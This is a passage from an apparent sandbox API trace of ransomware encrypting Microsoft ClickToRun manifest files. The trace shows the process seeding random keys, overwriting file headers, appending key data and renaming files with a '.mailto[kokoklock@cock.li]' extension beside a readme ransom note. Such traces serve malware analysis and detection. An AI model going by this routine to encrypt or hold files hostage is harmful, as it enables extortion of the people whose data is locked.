Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml", dwFileAttributes=0x20) returned 0 [0074.200] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x3434dd8 [0074.200] wcscpy (in: _Dest=0x3434dd8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0074.200] wcscat (in: _Dest=0x3434dd8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" [0074.200] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\d0e731-readme.txt")) returned 0x20 [0074.200] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434dd8) returned 1 [0074.201] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e5ad8) returned 1 [0074.201] RtlExitUserThread (Status=0x1) Thread: id = 624 os_tid = 0x498 [0074.137] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.en-us.xml")) returned 0x20 [0074.137] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml", dwFileAttributes=0x20) returned 1 [0074.137] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x944 [0074.137] GetFileSizeEx (in: hFile=0x944, lpFileSize=0x185bfbe4 | out: lpFileSize=0x185bfbe4*=25518) returned 1 [0074.137] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x63aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.138] ReadFile (in: hFile=0x944, lpBuffer=0x185bfbb8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x185bfbb4, lpOverlapped=0x0 | out: lpBuffer=0x185bfbb8*, lpNumberOfBytesRead=0x185bfbb4*=0x4, lpOverlapped=0x0) returned 1 [0074.139] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.139] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e208 [0074.139] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e1e0 [0074.139] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e0f0 [0074.139] NtQuerySystemTime (in: CurrentTime=0x185bfb90 | out: CurrentTime=0x185bfb90*=132121176320346553) returned 0x0 [0074.139] RtlRandom (in: Seed=0x185bfb9c | out: Seed=0x185bfb9c) returned 0x3ab4ee55 [0074.139] RtlRandom (in: Seed=0x185bfb9c | out: Seed=0x185bfb9c) returned 0xff066b5f [0074.139] RtlRandom (in: Seed=0x185bfb9c | out: Seed=0x185bfb9c) returned 0x9eb265af [0074.139] RtlRandom (in: Seed=0x185bfb9c | out: Seed=0x185bfb9c) returned 0x7f89374c [0074.139] RtlRandom (in: Seed=0x185bfb9c | out: Seed=0x185bfb9c) returned 0x7dc8d052 [0074.139] RtlRandom (in: Seed=0x185bfb9c | out: Seed=0x185bfb9c) returned 0x3f129e2c [0074.139] RtlRandom (in: Seed=0x185bfb9c | out: Seed=0x185bfb9c) returned 0x41e09945 [0074.139] RtlRandom (in: Seed=0x185bfb9c | out: Seed=0x185bfb9c) returned 0x1af08df [0074.140] RtlRandom (in: Seed=0x185bfb9c | out: Seed=0x185bfb9c) returned 0x39077745 [0074.140] RtlRandom (in: Seed=0x185bfb9c | out: Seed=0x185bfb9c) returned 0xeeb5cc8b [0074.140] RtlRandom (in: Seed=0x185bfb9c | out: Seed=0x185bfb9c) returned 0xdfbb5b04 [0074.140] RtlRandom (in: Seed=0x185bfb9c | out: Seed=0x185bfb9c) returned 0x35f26e19 [0074.140] RtlRandom (in: Seed=0x185bfb9c | out: Seed=0x185bfb9c) returned 0xf54288e2 [0074.140] RtlRandom (in: Seed=0x185bfb9c | out: Seed=0x185bfb9c) returned 0x1dee46fe [0074.140] RtlRandom (in: Seed=0x185bfb9c | out: Seed=0x185bfb9c) returned 0xd55a973f [0074.140] RtlRandom (in: Seed=0x185bfb9c | out: Seed=0x185bfb9c) returned 0x5e9e3a7d [0074.140] RtlRandom (in: Seed=0x185bfb9c | out: Seed=0x185bfb9c) returned 0xf35d6f58 [0074.140] RtlRandom (in: Seed=0x185bfb9c | out: Seed=0x185bfb9c) returned 0x1028d8e2 [0074.140] RtlRandom (in: Seed=0x185bfb9c | out: Seed=0x185bfb9c) returned 0x720f1e36 [0074.140] RtlRandom (in: Seed=0x185bfb9c | out: Seed=0x185bfb9c) returned 0x840fd54a [0074.140] RtlRandom (in: Seed=0x185bfb9c | out: Seed=0x185bfb9c) returned 0x4305b14f [0074.140] RtlRandom (in: Seed=0x185bfb9c | out: Seed=0x185bfb9c) returned 0x1ef75f29 [0074.140] RtlRandom (in: Seed=0x185bfb9c | out: Seed=0x185bfb9c) returned 0x2aa7babb [0074.140] RtlRandom (in: Seed=0x185bfb9c | out: Seed=0x185bfb9c) returned 0x8a7d8ead [0074.140] RtlRandom (in: Seed=0x185bfb9c | out: Seed=0x185bfb9c) returned 0x17f0018b [0074.140] RtlRandom (in: Seed=0x185bfb9c | out: Seed=0x185bfb9c) returned 0xd555e96f [0074.140] RtlRandom (in: Seed=0x185bfb9c | out: Seed=0x185bfb9c) returned 0x214e36fb [0074.140] RtlRandom (in: Seed=0x185bfb9c | out: Seed=0x185bfb9c) returned 0xcbffc43f [0074.140] RtlRandom (in: Seed=0x185bfb9c | out: Seed=0x185bfb9c) returned 0xc0078e6f [0074.140] RtlRandom (in: Seed=0x185bfb9c | out: Seed=0x185bfb9c) returned 0x701d4b2 [0074.140] RtlRandom (in: Seed=0x185bfb9c | out: Seed=0x185bfb9c) returned 0x5922f7a5 [0074.140] RtlRandom (in: Seed=0x185bfb9c | out: Seed=0x185bfb9c) returned 0x610acdb3 [0074.179] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.179] ReadFile (in: hFile=0x944, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x185bfb68, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x185bfb68*=0x4096, lpOverlapped=0x0) returned 1 [0074.193] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.193] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fdb38 [0074.193] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0074.193] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e410 [0074.193] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e410) returned 1 [0074.193] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34862b8 [0074.193] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e258 [0074.193] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e230 [0074.193] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e230) returned 1 [0074.194] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0074.194] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fdb38) returned 1 [0074.194] WriteFile (in: hFile=0x944, lpBuffer=0x34862b8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x185bfb68, lpOverlapped=0x0 | out: lpBuffer=0x34862b8*, lpNumberOfBytesWritten=0x185bfb68*=0x4096, lpOverlapped=0x0) returned 1 [0074.194] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34862b8) returned 1 [0074.194] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x63ae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.194] WriteFile (in: hFile=0x944, lpBuffer=0x341e258*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x185bfba0, lpOverlapped=0x0 | out: lpBuffer=0x341e258*, lpNumberOfBytesWritten=0x185bfba0*=0x20, lpOverlapped=0x0) returned 1 [0074.194] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e258) returned 1 [0074.194] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0074.194] WriteFile (in: hFile=0x944, lpBuffer=0x341e168*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x185bfbb4, lpOverlapped=0x0 | out: lpBuffer=0x341e168*, lpNumberOfBytesWritten=0x185bfbb4*=0x8, lpOverlapped=0x0) returned 1 [0074.194] WriteFile (in: hFile=0x944, lpBuffer=0x185bfbcc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x185bfbb4, lpOverlapped=0x0 | out: lpBuffer=0x185bfbcc*, lpNumberOfBytesWritten=0x185bfbb4*=0x4, lpOverlapped=0x0) returned 1 [0074.194] WriteFile (in: hFile=0x944, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x185bfbb4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x185bfbb4*=0x4, lpOverlapped=0x0) returned 1 [0074.194] WriteFile (in: hFile=0x944, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x185bfbb4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x185bfbb4*=0x6c, lpOverlapped=0x0) returned 1 [0074.194] WriteFile (in: hFile=0x944, lpBuffer=0x341e1e0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x185bfbb4, lpOverlapped=0x0 | out: lpBuffer=0x341e1e0*, lpNumberOfBytesWritten=0x185bfbb4*=0x20, lpOverlapped=0x0) returned 1 [0074.195] WriteFile (in: hFile=0x944, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x185bfbb4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x185bfbb4*=0x4, lpOverlapped=0x0) returned 1 [0074.195] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e1e0) returned 1 [0074.195] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e4d8) returned 1 [0074.195] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e168) returned 1 [0074.195] CloseHandle (hObject=0x944) returned 1 [0074.195] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x136) returned 0x341da40 [0074.195] wcscpy (in: _Dest=0x341da40, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml" [0074.195] wcscat (in: _Dest=0x341da40, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" [0074.195] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.en-us.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0074.196] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0074.196] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341da40) returned 1 [0074.196] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml", dwFileAttributes=0x20) returned 0 [0074.197] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x3434828 [0074.197] wcscpy (in: _Dest=0x3434828, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0074.197] wcscat (in: _Dest=0x3434828, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" [0074.197] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\d0e731-readme.txt")) returned 0x20 [0074.197] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434828) returned 1 [0074.197] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34235d0) returned 1 [0074.197] RtlExitUserThread (Status=0x1) Thread: id = 625 os_tid = 0x388 [0074.202] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.es-es.xml")) returned 0x20 [0074.203] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml", dwFileAttributes=0x20) returned 1 [0074.204] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.es-es.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x960 [0074.204] GetFileSizeEx (in: hFile=0x960, lpFileSize=0x1863fee0 | out: lpFileSize=0x1863fee0*=24558) returned 1 [0074.204] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x5fea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.204] ReadFile (in: hFile=0x960, lpBuffer=0x1863feb4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1863feb0, lpOverlapped=0x0 | out: lpBuffer=0x1863feb4*, lpNumberOfBytesRead=0x1863feb0*=0x4, lpOverlapped=0x0) returned 1 [0074.208] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.208] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e208 [0074.208] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e1e0 [0074.208] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e118 [0074.208] NtQuerySystemTime (in: CurrentTime=0x1863fe8c | out: CurrentTime=0x1863fe8c*=132121176320971302) returned 0x0 [0074.208] RtlRandom (in: Seed=0x1863fe98 | out: Seed=0x1863fe98) returned 0x9828d554 [0074.208] RtlRandom (in: Seed=0x1863fe98 | out: Seed=0x1863fe98) returned 0xc46165ad [0074.208] RtlRandom (in: Seed=0x1863fe98 | out: Seed=0x1863fe98) returned 0x2e0eda7a [0074.208] RtlRandom (in: Seed=0x1863fe98 | out: Seed=0x1863fe98) returned 0x2f1e25a6 [0074.208] RtlRandom (in: Seed=0x1863fe98 | out: Seed=0x1863fe98) returned 0x6fc64012 [0074.208] RtlRandom (in: Seed=0x1863fe98 | out: Seed=0x1863fe98) returned 0x7b8c61d2 [0074.208] RtlRandom (in: Seed=0x1863fe98 | out: Seed=0x1863fe98) returned 0x904a20d [0074.208] RtlRandom (in: Seed=0x1863fe98 | out: Seed=0x1863fe98) returned 0x711a9f9b [0074.208] RtlRandom (in: Seed=0x1863fe98 | out: Seed=0x1863fe98) returned 0x4b07fa68 [0074.208] RtlRandom (in: Seed=0x1863fe98 | out: Seed=0x1863fe98) returned 0x3456acfc [0074.208] RtlRandom (in: Seed=0x1863fe98 | out: Seed=0x1863fe98) returned 0x1049c765 [0074.208] RtlRandom (in: Seed=0x1863fe98 | out: Seed=0x1863fe98) returned 0x26f7233f [0074.208] RtlRandom (in: Seed=0x1863fe98 | out: Seed=0x1863fe98) returned 0xdfd134dc [0074.208] RtlRandom (in: Seed=0x1863fe98 | out: Seed=0x1863fe98) returned 0x1ebcd5ae [0074.208] RtlRandom (in: Seed=0x1863fe98 | out: Seed=0x1863fe98) returned 0x2e79455d [0074.208] RtlRandom (in: Seed=0x1863fe98 | out: Seed=0x1863fe98) returned 0x43e5857a [0074.208] RtlRandom (in: Seed=0x1863fe98 | out: Seed=0x1863fe98) returned 0x8bd811ac [0074.208] RtlRandom (in: Seed=0x1863fe98 | out: Seed=0x1863fe98) returned 0xb6d6cf2 [0074.208] RtlRandom (in: Seed=0x1863fe98 | out: Seed=0x1863fe98) returned 0xde301b74 [0074.208] RtlRandom (in: Seed=0x1863fe98 | out: Seed=0x1863fe98) returned 0xcbe34f9b [0074.208] RtlRandom (in: Seed=0x1863fe98 | out: Seed=0x1863fe98) returned 0x71a43cfe [0074.208] RtlRandom (in: Seed=0x1863fe98 | out: Seed=0x1863fe98) returned 0xd84edca1 [0074.208] RtlRandom (in: Seed=0x1863fe98 | out: Seed=0x1863fe98) returned 0xe1e42208 [0074.208] RtlRandom (in: Seed=0x1863fe98 | out: Seed=0x1863fe98) returned 0x72645ad3 [0074.208] RtlRandom (in: Seed=0x1863fe98 | out: Seed=0x1863fe98) returned 0x4a2fa7a2 [0074.208] RtlRandom (in: Seed=0x1863fe98 | out: Seed=0x1863fe98) returned 0x970672dd [0074.209] RtlRandom (in: Seed=0x1863fe98 | out: Seed=0x1863fe98) returned 0x3acefcef [0074.209] RtlRandom (in: Seed=0x1863fe98 | out: Seed=0x1863fe98) returned 0x96deb61f [0074.209] RtlRandom (in: Seed=0x1863fe98 | out: Seed=0x1863fe98) returned 0xb6b5c88f [0074.209] RtlRandom (in: Seed=0x1863fe98 | out: Seed=0x1863fe98) returned 0xf812349f [0074.209] RtlRandom (in: Seed=0x1863fe98 | out: Seed=0x1863fe98) returned 0x850cb14a [0074.209] RtlRandom (in: Seed=0x1863fe98 | out: Seed=0x1863fe98) returned 0xb7043b42 [0074.220] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.220] ReadFile (in: hFile=0x960, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1863fe64, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x1863fe64*=0x4096, lpOverlapped=0x0) returned 1 [0074.223] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.224] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fdb38 [0074.224] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0074.224] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e3e8 [0074.224] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e3e8) returned 1 [0074.224] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0074.224] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e258 [0074.224] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e140 [0074.224] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e140) returned 1 [0074.224] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0074.224] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fdb38) returned 1 [0074.224] WriteFile (in: hFile=0x960, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1863fe64, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x1863fe64*=0x4096, lpOverlapped=0x0) returned 1 [0074.225] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0074.225] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x5fee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.225] WriteFile (in: hFile=0x960, lpBuffer=0x341e258*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1863fe9c, lpOverlapped=0x0 | out: lpBuffer=0x341e258*, lpNumberOfBytesWritten=0x1863fe9c*=0x20, lpOverlapped=0x0) returned 1 [0074.225] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e258) returned 1 [0074.225] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0074.225] WriteFile (in: hFile=0x960, lpBuffer=0x341e168*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1863feb0, lpOverlapped=0x0 | out: lpBuffer=0x341e168*, lpNumberOfBytesWritten=0x1863feb0*=0x8, lpOverlapped=0x0) returned 1 [0074.225] WriteFile (in: hFile=0x960, lpBuffer=0x1863fec8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1863feb0, lpOverlapped=0x0 | out: lpBuffer=0x1863fec8*, lpNumberOfBytesWritten=0x1863feb0*=0x4, lpOverlapped=0x0) returned 1 [0074.225] WriteFile (in: hFile=0x960, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1863feb0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1863feb0*=0x4, lpOverlapped=0x0) returned 1 [0074.225] WriteFile (in: hFile=0x960, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1863feb0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1863feb0*=0x6c, lpOverlapped=0x0) returned 1 [0074.226] WriteFile (in: hFile=0x960, lpBuffer=0x341e1e0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1863feb0, lpOverlapped=0x0 | out: lpBuffer=0x341e1e0*, lpNumberOfBytesWritten=0x1863feb0*=0x20, lpOverlapped=0x0) returned 1 [0074.226] WriteFile (in: hFile=0x960, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1863feb0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1863feb0*=0x4, lpOverlapped=0x0) returned 1 [0074.226] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e1e0) returned 1 [0074.226] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e4d8) returned 1 [0074.226] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e168) returned 1 [0074.226] CloseHandle (hObject=0x960) returned 1 [0074.226] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x136) returned 0x341da40 [0074.226] wcscpy (in: _Dest=0x341da40, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml" [0074.226] wcscat (in: _Dest=0x341da40, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml.mailto[kokoklock@cock.li].d0e731" [0074.226] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.es-es.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml.mailto[kokoklock@cock.li].d0e731" (normalized: 